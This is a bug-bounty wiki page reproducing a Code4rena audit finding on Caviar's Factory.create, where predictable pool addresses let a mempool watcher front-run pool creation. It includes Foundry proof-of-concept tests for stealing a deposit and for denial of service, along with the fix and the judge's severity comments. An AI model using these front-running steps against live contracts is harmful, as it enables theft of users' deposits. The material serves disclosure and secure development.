Skip to content
Business logic Audit finding Intermediate

Factory.create : Predictability of pool address creates multiple issues.

The address of a new PrivatePool was derived only from a user-supplied salt, so anyone watching the public mempool could front-run a create transaction with the same salt to deploy a pool at the expected address. This let an attacker capture a user's subsequent deposit or repeatedly block pool creation.

AkshaySrivastav Follow with sashik_eth, saian and 18 others

Originally disclosed on Code4rena

Submitted by AkshaySrivastav, also found by sashik_eth, saian, adriro, said, fs0c, philogy, carlitox477, holyhansss_kr, hasmama, juancito, Dug, GT_Blockchain, bin2chen, hihen, ladboy233, zion, dingo2077, yixxas, 0xTheC0der, and Haipls

The Factory.create function is responsible for creating new PrivatePools. It does this using the LibClone.cloneDeterministic function.

    function create(
        ...
        bytes32 _salt,
        ...
    ) public payable returns (PrivatePool privatePool) {
        if ((_baseToken == address(0) && msg.value != baseTokenAmount) || (_baseToken != address(0) && msg.value > 0)) {
            revert PrivatePool.InvalidEthAmount();
        }

        // deploy a minimal proxy clone of the private pool implementation
        privatePool = PrivatePool(payable(privatePoolImplementation.cloneDeterministic(_salt)));

        // ...
    }

The address of the new PrivatePool depends solely upon the _salt parameter provided by the user. Once the user’s create transaction is broadcasted, the _salt parameter can be viewed by anyone watching the public mempool.

This public readability of _salt parameter creates two issues:

  1. Stealing of user’s deposit amount. If a user intends to create new pool and deposit some funds in it then an attacker can frontrun the user’s txns and capture the deposit amounts. Here is how this can happen:

    • User broadcasts two txns, first one to create a pool with XXX as the salt and second one to deposit some ETH into the new pool.
    • The attacker views these pending txns and frontruns them to create a PrivatePool for himself with same XXX salt.
    • The new pool gets created for the attacker, the address of this pool will be same as what the user will be expecting for his pool.
    • The user’s create pool txn gets reverted but deposit txn gets executed successfully. Hence the user deposited ETH in attacker’s pool.
    • Being the owner of the pool the attacker simply withdraws the deposited ETH from the PrivatePool.
  2. DoS for Factory.create. If a user intends to create a PrivatePool, his create txn can be forcefully reverted by an attacker by deploying a pool for himself using the user’s salt. Here is how this can happen:

    • The user broadcasts the create pool txn with salt XXX.
    • The attacker frontruns the user’s txn and creates a pool for hiself using the same XXX salt.
    • The user’s original create txn gets reverted as attacker’s pool already exist on the predetermined address.
    • This attack can be repeated again and again resulting in DoS for the Factory.create function.

Proof of Concept

These test cases were added to test/PrivatePool/Withdraw.t.sol file and were ran using forge test --ffi --mp test/PrivatePool/Withdraw.t.sol --mt test_audit

    function test_audit_create_stealDeposit() public {
        address user1 = makeAddr("user1");
        vm.deal(user1, 10 ether);
        vm.startPrank(user1);

        address predictedAddress = factory.predictPoolDeploymentAddress(bytes32(0));

        // tries to create pool and deposit funds
        // 1. factory.create(...)
        // 2. pool.deposit(...)

        // but user2 frontruns the txns

        address user2 = makeAddr("user2");
        changePrank(user2);

        uint baseTokenAmount = 0;

        PrivatePool pool = factory.create{value: baseTokenAmount}(
            baseToken,
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            bytes32(0),
            tokenIds,
            baseTokenAmount
        );
        assertEq(predictedAddress, address(pool));
        assertEq(factory.ownerOf(uint256(uint160(address(pool)))), address(user2));

        changePrank(user1);

        vm.expectRevert(LibClone.DeploymentFailed.selector);
        factory.create{value: baseTokenAmount}(
            baseToken,
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            bytes32(0),
            tokenIds,
            baseTokenAmount
        );

        pool.deposit{ value: 10 ether }(tokenIds, 10 ether);
        assertEq(address(pool).balance, 10 ether);

        changePrank(user2);
        pool.withdraw(address(0), tokenIds, address(0), 10 ether);
        assertEq(address(pool).balance, 0);
        assertEq(user2.balance, 10 ether);
    }

    function test_audit_create_DoS() public {
        address user1 = makeAddr("user1");
        vm.deal(user1, 10 ether);
        vm.startPrank(user1);

        address predictedAddress = factory.predictPoolDeploymentAddress(bytes32(0));

        // user1 tries to create pool
        // factory.create(...)

        // but user2 frontruns the txn

        address user2 = makeAddr("user2");
        changePrank(user2);

        uint baseTokenAmount = 0;

        PrivatePool pool = factory.create{value: baseTokenAmount}(
            baseToken,
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            bytes32(0),
            tokenIds,
            baseTokenAmount
        );
        assertEq(predictedAddress, address(pool));
        assertEq(factory.ownerOf(uint256(uint160(address(pool)))), address(user2));

        changePrank(user1);

        vm.expectRevert(LibClone.DeploymentFailed.selector);
        factory.create{value: baseTokenAmount}(
            baseToken,
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            bytes32(0),
            tokenIds,
            baseTokenAmount
        );
    }

Tools Used

Foundry

Recommended Mitigation Steps

Consider making the upcoming pool address user specific by combining the salt value with user’s address.

    privatePool = PrivatePool(payable(privatePoolImplementation.cloneDeterministic(
        keccak256(abi.encode(msg.seender, _salt))
    )));

outdoteth (Caviar) confirmed and mitigated:

Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/9

The proposed fix is to include the msg.sender in the salt of the proxy deployment:

// deploy a minimal proxy clone of the private pool implementation
bytes32 salt = keccak256(abi.encode(msg.sender, _salt));
privatePool = PrivatePool(payable(privatePoolImplementation.cloneDeterministic(salt)));

Alex the Entreprenerd (judge) commented:

This boils down to whether we think a front-run is possible / reasonable. And whether the griefing can be considered protracted in time.

I have already judged similar issues, so I’ll link those here and share my thoughts

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

Per my comments on a similar issue: #182

I believe that the DOS is possible and fairly easy to achieve, however, there are ways to sidestep it

By creating a new pool with new salts it’s possible to prevent the DOS, the NFT can then be transferred to the intended owner

For this reason am downgrading to Medium Severity.

Alex the Entreprenerd (judge) commented:

For context, if pool weren’t transferable then the DOS would have been permanent and I would have raised severity.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.


The original report as published on Code4rena, by AkshaySrivastav. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could steal a user's deposit or cause a denial of service against pool creation, though the judge noted the DoS can be sidestepped by using a new salt and downgraded severity to Medium.

What the attacker needed

Attacker can watch the public mempool; attacker can front-run transactions

The fix

The fix was to include the sender's address in the salt used for deterministic deployment, and it was confirmed mitigated.

How it was found

  1. User broadcasts a transaction to create a pool with a chosen salt.
  2. Attacker sees the pending transaction and front-runs it, creating a pool with the same salt.
  3. The attacker's pool occupies the address the user expected.
  4. The user's create transaction reverts, but a subsequent deposit transaction succeeds into the attacker's pool.
  5. The attacker, as pool owner, withdraws the deposited funds.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you create a pool, its address is calculated from a number you choose called a salt. Because that number is visible before your transaction is confirmed, someone else can use the same salt first and take the address you expected. Then your deposit goes into their pool, or your creation fails.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by AkshaySrivastav

View all

16 more disclosed reports, best first.

More from Caviar Private Pools

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.